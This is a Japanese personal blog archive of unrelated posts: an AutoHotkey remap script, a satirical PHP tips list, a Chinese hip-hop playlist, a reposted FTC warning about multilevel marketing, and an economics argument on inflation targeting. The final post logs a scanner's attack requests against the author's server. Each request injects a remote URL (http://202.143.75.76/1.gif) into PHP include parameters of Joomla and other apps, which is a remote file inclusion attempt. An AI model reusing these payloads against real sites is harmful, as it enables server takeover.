; Note: From now on whenever you run AutoHotkey directly, this script

; will be loaded. So feel free to customize it to suit your needs.

; Please read the QUICK-START TUTORIAL near the top of the help file.

; It explains how to perform common automation tasks such as sending

; keystrokes and mouse clicks. It also explains more about hotkeys.

; ! → Alt

; ^ → Control

; + → Shift

;────AutoHotKey.ahk のキーボードリマップ 2011_08_29_

; 変換 = IME ON (日本語)  =>Atok機能で実現

; 無変換 = IME OFF (英語)  =>Atok機能で実現

; カタカナ = F7  =>KeySwapで実現

; CapsLock = F10  =>KeySwapで実現

; 右Alt = Home  =>KeySwapで実現

; 右Ctrl = End   =>KeySwapで実現

; その他はAutoHotKey機能で実現。

;vk1D::return ;無変換キー単体で動かないようにする

;RShift::^z ;右Shift で Ctrl+z

;SC07B & Space::send,{Blind}{Enter} ;無変換+Space で Enter

;SC07B & j::send,{Blind}{Home} ;無変換+j で Home

;SC07B & k::send,{Blind}{End} ;無変換+k で End

;SC07B & h::send,{Blind}^{Home} ;無変換+h で Ctr+Home

;SC07B & l::send,{Blind}^{End} ;無変換+l で Ctr+End

;SC07B & u::send,{Blind}{} ;無変換+u で

;SC07B & i::send,{Blind}{} ;無変換+i で

;SC07B & LButton::send,{Blind}{Home} ;無変換 + LButton でHome

;SC07B & RButton::send,{Blind}{End} ;無変換 + RButton でEnd  =>Ctrlと組み合わせ可。

;SC07B & y::send,{Blind}^{ } ;無変換+y で Ctr+

;SC07B & o::send,{Blind}^{ } ;無変換+o で Ctr+

;SC07B & w::send,{Blind}{Home} ;無変換+w で Home

;SC07B & r::send,{Blind}{End} ;無変換+r で End

;SC07B & e::send,{Blind}{Up} ;無変換+e で Up

;SC07B & d::send,{Blind}{Down} ;無変換+d で Down

;SC07B & f::send,{Blind}{Right} ;無変換+f で Right

;SC07B & s::send,{Blind}{Left} ;無変換+s で Left

1::+1 ;1 を Shift+1 に(記号にする)

2::+2 ;2 を Shift+2 に

3::+3 ;3 を Shift+3 に

4::+4 ;4 を Shift+4 に

5::+5 ;5 を Shift+5 に

6::+6 ;6 を Shift+6 に

7::+7 ;7 を Shift+7 に

8::+8 ;8 を Shift+8 に

9::+9 ;9 を Shift+9 に

0::+- ;0 を Shift+- に

\::+\ ;\ を Shift+\ に

;──────────────────── http://nanabit.net/softwares/autohotkey/

; Alt+F6 (例:2011_08_04_)

; Ctrl+F6 (例:03:48)

; Alt+Ctrl+F6 (例:2011_08_04_16:45)

!F6::

Send, %A_YYYY%_%A_MM%_%A_DD%_

return

^F6::

Send, %A_Hour%:%A_Min%

return

!^F6::

Send, %A_YYYY%_%A_MM%_%A_DD%_%A_Hour%:%A_Min%

return

2011-03-20

より良いPHPerにならないための20Tips

http://1-byte.jp/2011/03/20/20_tips_you_need_to_learn_to_become_a_better_php_programmer/

良いPHPerだって?そんなものは丸めゴミ箱にでも捨ててしまった方が資源の再利用になる分いくらかマシだ。

つまり俺たちがしなくちゃならないことは「より良いPHPerにならないため」に何ができるかってことなのさ。

それじゃ、始めよう。

1. ?>を使うな

?>なんて使っちゃいけない。そう俺たちはBAD PHPer。

無駄ホワイトスペースの出力に悩まされるくらいなら対称性なんて丸めゴミ箱にでも捨てた方がまだマシだ。非対称性こそが賛美。

2. 設定ファイルPHPで書くな

require_once("config.php");

未だにこんなことやってるやつがいるのかいベイベー。絶対にダメだ。この一行を見たら俺は悶絶する。

ダメだ、早く何とかしないと。

大抵このconfig.phpの中身はこうなっている。見て絶望だ。

$hoge_path = '';
if (!LOCAL) {
    define('FOO_FLAG', 1);
    if (HONBAN) {
        define('HOGE_FLAG', 1);
    }
    else if (TEST) {
        define('HOGE_FLAG', 2);
    }
}
else {
    $hoge_path = '/local';
    define('FOO_FLAG', 2);
    define('HOGE_FLAG', 3);
}

define('HOGE_URL', $hoge_path.'/hoge/');

こういうのが延々と続くわけだ。もういやだ。もう見たくない。

本番環境テスト環境でどういう値の違いがあるのか、ローカル環境だとどうなるのか、まったく把握できる気がしない。

なまじPHPな設定ファイルのせいで処理をついつい書いてしまう。そしてどんどん複雑になってしまう。

やはり設定データは基本的にYAML等のデータしか定義できない形式のもので用意すべきだ。そして環境ごとに設定ファイルを分けるべきである

そうすることで何にどういう違いがあるのかすぐにわかるし、diffすれば一度にすべて把握することができる。

# 本番環境設定ファイル
foo_flag: 1
hoge_flag: 1
hoge_url: '/hoge/'
# テスト環境設定ファイル
foo_flag: 1
hoge_flag: 2
hoge_url: '/hoge/'
# ローカル環境設定ファイル
foo_flag: 2
hoge_flag: 3
hoge_url: '/local/hoge/'

3. コメントを信用するな

そう、あなたはこんな状況に遭遇したことがあるんじゃ?

// ここで後の処理のためにhogeメソッドを呼び出しておく
$q->foo();

// $a['foo']はここに来る時点で真のはず
// 2010-03-10 判定がおかしいので修正
// 2010-06-21 やっぱり値が入ってる方が正しい
if ( !isset($hoge[0]) ) {
}

コメント保守されない。そう、それは真実。こんなコメント発見したら即効削除しよう。コメントは基本信じるな。

俺たちにちょっとしたヒントと大きな損害を与えてくれる、それがコメントの役割なのだ。

4. タブとうまく付き合うしかない

わかる。いいたいはとてもわかる。俺たちはしばしばインデントにスペースを使うはずだ。一方でIDEのしっかりした言語ではタブも使うことがある。しかし悪いことに、両者を混同しているプログラマも一定数いるのだ。

タブを画面上で認識しにくいエディタが世の中には存在する(何とは言わないが)

そして画面上で認識しにくいことを理由にタブを気にしないプログラマがいる。

この二つの条件が重なると、タブとスペースの交じり合ったインデントが完成する。もうぐちゃぐちゃだ。これは永遠に続く戦いだ。

私たちが勝利を掴むためにできることなどせいぜい、常にスペースしか使わない。タブを見つけたらその都度スペースに変換する。そういった地道な活動が明日へとつながるのだ。

5. 変数名に時間をかけるな

われわれがプログラムをするとき、何に一番時間がかかってるか。実は変数の命名なのである。ここで拘り過ぎて時間をかけ過ぎては何も進まない。

御託はイイからさっさと書け、だ。しかしとはいっても変数名は重要。日頃からどういうときにどんな名前を使うかを決めておくといい。

そして変数名に型はまったく必要ない。型宣言のないPHPにおいて、型の変数名をつけること自体ナンセンスだ。

コンパイラ様に保証されてない状態での

$iNumber = 'aaa';

になんの意味もない。コメントを信じるなでも言ったが、これはプログラマを混乱させるだけの害悪なものだ。

6. 変数初期化場所

変数を使う前に初期化するのは、警告を出さないという意味でも良い癖だ。しかし具体的にどこでやるかが問題だ。

$foo = null;
$foo = $q->foo();

こんな初期化意味はない。よくあるのはやはり、if文で値を振り分けるケースだろう

$foo = null;
if ( $hoge ) {
    $foo = 1;
}
else if ( $bar ) {
    $foo = 2;
}

このとき初期化はとても有効だ。もしnullの初期化を忘れたまま$fooを使うと警告が出るが、ちゃんと初期化してるので出ない。基本中の基本だ。

7. 不正なら常に死ね

function getStatus() {
    $bReturn = false;
    if ($i == 2) $bReturn = true;
    return $bReturn;
}

(中略)

もし、何かしらの理由で、あなたの書いたif文が間違っていたら?

この書き方をしていれば、間違った値に対して、常にfalseが返る。

私たちが、PHPでsensitiveなデータを取り扱うなら、正しいデータ入力されるまでは、動かないコードを書くべきだ。

trueとfalseの条件がいまいち明確ではないが、本当に動かないコードを書けというのであれば以下のようにすべきだ

function getStatus() {
    $bReturn = false;
    if ($i == 2) $bReturn = true;
    else if ($i == 1) $bReturn = false;
    else throw new Exception("bad status! $i");
    return $bReturn;
}

中途半端にfalseを返して生存させる必要性はまったくない。今すぐ死ね

8. 連想配列キーアクセスする場合

単なる配列に対して数値をクオートで囲う必要はない。

連想配列キーを指定する場合だけ定数と間違わないようにクオートで囲まなければならない。そして逆に定数を使いたい場合はクオートで囲ってはいけない。

更に後世のプログラマ処理を見たときに、定数が使いたかったのか、文字列が使いたかったのかを明確にした場合はconstantを使うと良い。

// 定数のFOOを使うよということが明確になる
print $a[constant('FOO')];

9. echoよりもprintfを使え

もし、文字列変数の値と一緒に出力するときPHPではコンマの代わりにprintfを使うことが使える。

なぜ?コンマを使うよりも可読性がグッとあがるから

printf( “Hello, my name is %s“, $sName);

以下の代わりに上記のコードを使う。

echoHello, my name is “, $sName;

出力すべき変数が増えれば増えるほど、有効になっていく。とにかく迷ったならば、printfを使え、だ。

10. 三項演算子は一回まで

三項演算子はとても有効だ。しか優先順位に難があるせいで三項演算子ネストしようとすると以下のようなコードになってしま

$n = (($i == 1) ? 2 : (($i == 2) ? 3 :$i));

括弧だらけで読みにくいったらありゃしない。三項演算子を使うなら一回まで。約束守れないやつは丸めゴミ箱にでも捨てちまえ。

11. 真偽値のチェックは生でいけ

if ( $flag ) {
}

仕様をちゃんと把握しているなら真偽値のチェックなどこれで十分。

もし事前にbool型だというのが確定してるのなら「$flag === true」を使えばいい。

12. ++と--の演算子を見極めろ

インクリメント、デクリメント演算子は前に付くか後ろに付くかで意味が変わるので慣れるまでは非常にややこしい

けがからなくなるくらいなら初めから使わないほうが良い。見極められないなら使うな。それがPHPerなのだ。

13. 代入演算子を使え

文句なしだ。これは文句がない。

他にも色々あるので覚えておこう

$a %=  1;
$a &=  1;
$a |=  1;
$a ^=  1;
$a <<= 1;
$a >>= 1;

14. 変数dump関数はより便利に

てっとり早く画面に表示する際にpreはよく使うが、デザインの関係上画面の文字が見えないときがある。

なのでdivを使って以下のようにしとくと便利だろう。

function p($var) {
    echo "<div align='left' style='background-color:white;color:black;'><pre>";
    print_r($var);
    echo "</pre></div>";
}

15. 定数から手を洗え

君らが通常作るアプリケーションなんぞに、定数なんぞ必要ない。いいか、もう一度言う、お前ら程度のもんが、定数使おう何ぞ、おこがましいわ!

大丈夫。なんでもかんでも定数にする必要はない。結局設定ファイルに定数をずらずら作りまくってわけがからなくなってるパターンが多い。

貴様たいなもんに、定数は制御できん。いいか設定ファイルYAML等のデータで持つようにし、その連想配列データ構造を一つ持ってるだけで定数の変わりになる。

このメリットに比べれば、定数だと書き換えられなくて良いという利点などこの歯のカスほどのものだ。そんなものは丸めゴミ箱へ捨ててしまうといい。

認識を改めろ。俺たちはより良いPHPerにならないために努力している。

16. $_GETと$_POSTを生で使うな

できれば何かしら簡単なクラスでもいいのでラップしろ。

class Request {
    private $parameters;
    private $method;
    function __construct () {
        $this->method = $_SERVER['REQUEST_METHOD'];
        if ( strtoupper($this->method) === 'POST' ) {
            $this->parameters = $_POST;
        }
        else {
            $this->parameters = $_GET;
        }
    }
    function param ($key) {
        return isset($this->parameters[$key]) ? $this->parameters[$key] : null;
    }
}

これだけでもいい。たったこれだけでもとても便利だ。ここから拡張してGETやPOSTを明示的に取るメソッドとかも作ってみるといい。自分の手を動かすのだ!

17. 関数だのオブジェクトだのの問題ではな

例が良くない。こんなのは引数20個ある関数からset20回呼ぶオブジェクトに変わっただけではないか

そもそもこの20個の引数はなんなのか。何かのデータ構造なんであれば連想配列にして引数一つとして渡すべきだし、それぞれまったく異なる用途の変数なのであればWindowsプログラミングじゃあるまいし20個も引数取る時点設計が間違えている。

何がいいたいか。別に関数でもオブジェクトでもどっちでもいいということだ。

そんなことで悩んでる暇があったら設計を見直せ。

18. メソッドチェインを愛用せよ

スキあらば自分自身を返せ。スキあらばオブジェクトを返せ。配列はArrayObjectのARRAY_AS_PROPSで返せ。

ひたすらメソッドチェイン。来る日も来る日もメソッドチェイン。とにかくメソッドチェインを使い続けろ。そこに未来はある。

19. コードの汎用化は慎重に

どんなコードも繰り返すな。もし、少しでも同じコードを書いていたなら、それは関数に置き換えてしまえ。

・・・と、いうのはやめなさい。

一見同じように見えた処理でも前後の流れでまったく違うものということが往々にしてある。

まとめ方にも問題があるケースもある。何でもかんでも関数化すると、関数が膨大に増えていく。君は見たことがあるだろうか。common.phpやfunction.phpの恐ろしさを。

かに細かく関数化はされているが、適切に関数化していないのである。結合度が非常に高い。なんでもかんでも盲目的にまとめれば良いという話ではないのだ!

20. 結合度は適切に減らし、適切に結合せよ

あまりに極度に意識しすぎると、プログラムそのものができなくなる。そういう状態に陥る。

気を抜いて。そう気を抜いて。所詮あなたコードなんてすぐに消えてなくなるよ。きっともっと偉い人が作り直すよ。だからまずは思うが侭にやるといい。

結合度を減らすというのは非常に難しい何度何度も失敗し続けて、ようやくここは分けた方が良かったんだなと気付く。次に活かそうと心に決める。そしてまた同じ過ちを繰り返していくわけだ。

まずは実装することだ。これが一番の早道だ。まずはがっつり結合した関数をあえて作るといい。何も考えずに作ろう。

そしてその後に、一部分使いましたいとおもうことがあるはずだ。その時に関数に切り出そう。それを繰り返すといい。そのうち初めから分けた方が良いと気付く。

何事も経験が必要である経験を積まないプログラマ丸めゴミ箱に捨ててしまえ。

さて、先の例で言うならば、私ならadd_result_outputという関数を作ってしまうだろう。だってaddとresultを連続して呼ぶのはめんどくさいんだもん。一連の流れをいつも使うのなら、その流れをやってくれる関数を作ればいいじゃないか

function add_result_output ($iVar, $iVar2) {
    $r = add($iVar, $iVar2);
    echo result($r);
}

もっと言えばクラス化してしまってもいいかもしれない。どんな感じになるかは君の手を動かして確認しよう!

最後

このTipsはとてもわかりにくく、ニッチ過ぎる部分も多いかもしれない。

しかしもう一度タイトルを確認してほしい

あくまでも「より良いPHPerにならないための20Tips」なのだ。

君はこの記事を鵜呑みにしてはならない。PHPPHPと見抜けないPHPerはPHPを使うのは難しい

おまけ

もし、あなたPHPプログラマなら、公式のPHPドキュメントあなたのケツの穴を拭くための紙になるだろう。

私は、それぞれのセクションを眺めて、各関数でどんなことが出来るかなんぞ、歯クソのゴミ程に役に立たないとおもっている。動けばいい。はは。

あなたは、PHPで用意された既製関数で多くのことが実現できることに、(俺の仕事を減らすなと)驚くはずだ。

この記事があなたの役に立たない事を。

どんなコメントでも待ってます

ふざけんな!

個人的な感想

この記事に書かれている内容は、丸めゴミ箱に捨てた方が良いレベルです

もしここまで読んでしまったら、丸めゴミ箱に捨てましょう。

プログラ増田のあなぐら

2011-03-01

中華ヒップホップ音楽

日本中国ヒップホップなどを聴くことはあまりないので、何曲かまとめました

中華ヒップホップ音楽【作業用BGM】 ‐ ニコニコ動画(原宿)

以下曲目。

01. 大丈夫 - YouTube

日華 a.k.a. NYCCA (日本)

V.O.W. -Victory Over War- (2007)

広東語日本語英語普通語を操る日華の曲(でもこの曲では広東語ラップしてない)。

02. 台灣之子 - YouTube

麻吉 a.k.a. MACHI (台湾)

黃立成 &amp; 麻吉 (2003)

台湾ヒップホップの草分け、L.A. Boyzの黃立成によって結成された麻吉。台湾語ラップ

03. Hit the Rhyme - YouTube (Live ver.)

蛋堡 a.k.a Soft Lipa (台南)

收敛水 (2009)

2010年には日本JABBERLOOPアルバム「月光」(YT)を出した。同じく'10年の台湾ヒップホップダンスドキュメンタリー「街舞狂潮」主題歌(YT)も手がけてる。

04. Bring you da sky - YouTube

L.C.T (内モンゴル自治区フフホト)

龍咆 (Dragon Roar) Vol.8 (2009)

トラックは「Resurrection」Common(YT)と同ネタで、「Dolphin Dance」Ahmad Jamal (YT)から。ミックステープ「龍咆」シリーズ無料DLできる。

05. 風生水起 feat. 麥玲玲 師傅 - YouTube

農夫 a.k.a. FAMA (香港)

風生水起 (2008)

'96年DMC世界2位のDJ Tommy(YT)に見出された、6WingとC君の二人組。フューチャリングの麥玲玲は香港一有名な風水師で、本当に曲中でラップしてる。

06. 雙截棍 - YouTube

周杰倫 a.k.a. Jay Chou (台湾)

范特西 Fantasy (2001)

この10年くらい中華圏で最も人気のミュージシャンジェイ・チョウの初期の曲。雙截棍はヌンチャクの意。

07. Used to love her - YouTube

参劈 a.k.a. Tri Poets (台湾)

押韻的開始 (2008)

アルバムに収録されてる「巨蟒」(YT)は「大蛇は長くてカッコイイぜ」という歌。

08. 傻X II feat. 杨帆 - YouTube

呆宝静 a.k.a. Double.J (福州/広州)

女権運動2009 (2009)

呆宝静は広州グループ天王星 Uranus」所属。このアルバム中国女性ラッパーコンピで、無料DLできる(China Woman's Rights 2009 Mixtape)。

09. Dream Girl (Version C Kwan) - YouTube

農夫 a.k.a. FAMA (香港)

O'Fama (2010)

陳冠希(エディソン・チャン)プロデュースアルバム「O'Fama」収録。歌詞に「Facebook delete所有異性...」とでてくるのが香港っぽい。

10. 北京土著 - YouTube

張伯宏 (北京)

复生弥撒 (2007)

'88年生まれ、いわゆる80後(一人っ子政策以後の80年代に生まれた世代)の張伯宏、18歳の時の作品。

11. Learn Chinese - YouTube

Jin a.k.a. 歐陽靖 (アメリカ/香港)

The Rest Is History (2004)

アメリカ生まれの中国人ラッパーアルバムABC」(American Born Chinese)は、2010年アジア系で史上初の全米1位を取ったFar East Movement(YT)が全曲プロデュース

12. 在梅邊 - YouTube

王力宏 a.k.a. Wang Leehom (アメリカ/台湾)

蓋世英雄 Heroes Of Earth (2006)

日本人っぽく「おうりき・ひろし」とも読める。前作「心中日月 Shangri-Laから西洋中華音楽をミックスするChinked Outスタイルで、京劇などを取り入れている。

13. 在北京 - YouTube

隠藏 a.k.a. Yin Ts'ang (北京)

為人民服務 Serve The People (2003)

中国人+カナダ華僑+アメリカ人*2の4人組、隠藏の一曲。メンバーの老郑XIVとSbazzoはソロでも色々と活躍している。

14. 激光中 - YouTube

廿四味 a.k.a. 24Herbs (香港)

2009

Roman Tam(羅文)のヒット曲「激光中」(YT)のリミックス。「廿四味YaSeiMei」は24種類の漢方が入っているお茶(廿=20)。

15. 含家玲 (Live ver.) - YouTube

LMF a.k.a. Lazy Mutha Fucka (香港)

大懶堂 (2000)

香港ヒップホップ・シーンを築いた伝説グループLMFの問題作。含家玲は広東語のかなりキツイ罵倒語

16. 韓流來襲 - YouTube (Live ver.)

Mc HotDog a.k.a. 熱狗 (台北)

テレビには韓国セルアウトばっかりじゃねえかという曲。サビはFuck You的な放送禁止フレーズ

17. 中国話 - YouTube

S.H.E (台湾)

Play (2007)

台湾の人気女性アイドルグループの曲だが、「世界中国語を学んでいる」みたい歌詞媚中(大陸に媚びてる)と一部から批判を浴びた。

18. 恭喜發財 - YouTube

顏社 a.k.a. KAO! INC. (台湾)

2007

蛋堡 Soft Lipaの所属するレーベル謹賀新年曲。「恭喜發財」は「おめでとう、今年も儲かりますように」という中国っぽい新年の決まり文句。

19. 咖哩辣椒 - YouTube

潘瑋柏 a.k.a. Wilber Pan (台湾/アメリカ)

我的麥克風 Pass Me The Mic (2003)

弦子との不得不愛(YT)がヒットして、NHK中国語講座主題歌になったりした人。

20. 廣東菜 - YouTube

講者,MC仁 (広州/香港)

2009

講者は広州グループMC仁はLMFのメンバー。サビで「ホウメイ」といっているのは広東語の「好味」。

21. 北京晚报 - YouTube

阴三儿 a.k.a. In3 (北京)

未知芸術家 (2008)

カメレオンの如く舌を「er」と巻く北京弁の感じがよく分かる。

22. 霞飞路87号 - YouTube

黑棒 a.k.a. Hi-Bomb (上海)

嘻哈第一棒 (2004)

上海語ラップMVがイカしてる。

23. 我是重慶崽儿 - YouTube

潤土 (重慶)

瘋狂的石頭 Crazy Stone O.S.T. (2006)

映画「瘋狂的石頭」エンディング曲。内容は「Snatch」のパクリたいなもんですが、北京上海はな地方都市の雰囲気や、現代中国の笑いが詰まってて最高です

2010-05-22

連邦取引委員会消費者へのMLMについて注意を喚起する文書

Multilevel Marketing Plans

 

Produced in cooperation with the North American Securities Administrators Association

 

November 1996

 

Multilevel marketing plans, also known as "network" or "matrix" marketing, are a way of selling goods or services through distributors. These plans typically promise that if you sign up as a distributor, you will receive commissions -- for both your sales of the plan's goods or services and those of other people you recruit to join the distributors. Multilevel marketing plans usually promise to pay commissions through two or more levels of recruits, known as the distributor's "downline."

 

If a plan offers to pay commissions for recruiting new distributors, watch out! Most states outlaw this practice, which is known as "pyramiding." State laws against pyramiding say that a multilevel marketing plan should only pay commissions for retail sales of goods or services, not for recruiting new distributors.

 

Why is pyramiding prohibited? Because plans that pay commissions for recruiting new distributors inevitably collapse when no new distributors can be recruited. And when a plan collapses, most people -- except perhaps those at the very top of the pyramid -- lose their money.

 

The Federal Trade Commission cannot tell you whether a particular multilevel marketing plan is legal. Nor can it give you advice about whether to join such a plan. You must make that decision yourself. However, the FTC suggests that you use common sense, and consider these seven tips when you make your decision:

 

Avoid any plan that includes commissions for recruiting additional distributors. It may be an illegal pyramid.

 

Beware of plans that ask new distributors to purchase expensive inventory. These plans can collapse quickly -- and also may be thinly-disguised pyramids.

 

Be cautious of plans that claim you will make money through continued growth of your "downline" -- the commissions on sales made by new distributors you recruit -- rather than through sales of products you make yourself.

 

Beware of plans that claim to sell miracle products or promise enormous earnings. Just because a promoter of a plan makes a claim doesn't mean it's true! Ask the promoter of the plan to substantiate claims with hard evidence.

 

Beware of shills -- "decoy" references paid by a plan's promoter to describe their fictional success in earning money through the plan.

 

Don't pay or sign any contracts in an "opportunity meeting" or any other high-pressure situation. Insist on taking your time to think over a decision to join. Talk it over with your spouse, a knowledgeable friend, an accountant or lawyer.

 

Do your homework! Check with your local Better Business Bureau and state Attorney General about any plan you're considering -- especially when the claims about the product or your potential earnings seem too good to be true.

 

For More Information

The FTC also publishes: Wealth-Building Scams; Business Opportunities: Avoiding Vending Machine and Display Rack Scams; Work-at-Home Schemes; Franchise and Business Opportunities; and A Consumer Guide to Buying a Franchise. For a free copy of these brochures or a copy of Best Sellers, a complete list of the FTC's consumer publications, contact:

Consumer Response Center

Federal Trade Commission

Washington, D.C. 20580

(202) 326-2222

TDD: (202) 326-2502

 

 

Where to Complain

You may send questions or complaints to:

Correspondence Branch

Federal Trade Commission

Washington, D.C. 20580

Although the FTC cannot resolve individual disputes, the information you provide may indicate a pattern of possible law violations requiring action by the Commission.

 

You also may want to contact the National Fraud Information Center (NFIC), a project of the National Consumer League, at 1-800-876-7060, 9 a.m. - 5:30 p.m. EST, Monday - Friday. The NFIC is a private nonprofit organization that operates a consumer hotline to provide service and assistance in filing complaints. NFIC helps the FTC and the state Attorneys General by entering complaints into a computerized database to help track and identify fraud operators.

和訳は以下のページ。

http://www.ne.jp/asahi/kato/logos/ftc-mlm.htm

2010-02-22

http://anond.hatelabo.jp/20100221183451

コミットメントを前提とするインフレターゲット政策」を前提にしながら「コミットメントが困難だからリフレ政策は無理」ってあり得無くない?



君はコミットメントを「それを仮定しさえすればなんでも出来る魔法の杖」か何かと勘違いしているのか。

通常のインフレ目標コミットメントメカニズムを一から説明していては日が暮れるので、はしょって説明する。興味があるなら自分勉強して欲しい(コミットメントにこだわるなら、マクロだけでなくミクロテキスト学習すると良い。繰り返しゲームあたりなど)。重要なのはどうやってコミットするかということ。例えば、無限繰り返しゲームを仮定して、一時的なサプライズインフレーションを行うインセンティブを中銀がもっていたとする(中銀の目的関数はこの文脈で一般的なものを用いる)。この場合、例えば一度でもターゲットレートを上回るインフレ率を中銀が設定したら民間は以後中銀を信頼しなくなる、というトリガ戦略を敷くことで、中銀にターゲットレートを守るインセンティブを与えることが出来る(この戦略は、若干修正すれば中銀が経済のstatusに対してprivate informationを保持している場合、または中銀が完全にはインフレ率をコントロールできない場合にもある程度は対応することが出来る)。これによって、中銀はターゲットレートにコミットすることが出来る。

このコミットメントと、リフレ政策が要求する「いつか景気が回復したら均衡インフレ率以上にインフレ率を誘導する」ことにコミットすることとが「同じ」だと言えるのか、ということ。クルーグマンが仮定した「均衡実質金利が一時的にマイナスになっている状況」からの脱却がcommon knowledgeであればまだ何とか両立は可能かもしれない(同じなどでは全くないが)。しかし、それが例えば中銀のprivate informationであった場合には(均衡実質金利などという統計など存在しない)? 2つのコミットメントが異なるのは言うまでもなく、両立も困難と言わざるをえない(不可能であるとは言わない)。

加えて書けば、クルーグマンが仮定する「来期には均衡実質金利プラスに復帰する(中銀による過剰なインフレが実行可能になる)」の「来期」が遥か先のことだとしたら?その遠い将来に必要となる(より)過剰なインフレコミットすることが、本当に可能なのか? 今現在インフレーションバイアス抑制しているコミットメントメカニズムが、その遠い将来の過剰インフレへのコミットをも可能にするなどと何故簡単に断言できるのか。

もし依然としてこっちの書いていることに納得できないというなら、「なぜ同一視できるのか」、そのコミットメントメカニズムを分かるように説明してもらいたい(論文引用ももちろん構わない)。正直疲れてきたので、二つのコミットメントメカニズムが同じとは言えない、ということくらいはそろそろ納得してもらいたいのだが。

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&GLOBALS=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&amp;task=&amp;sectionid=&amp;id=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

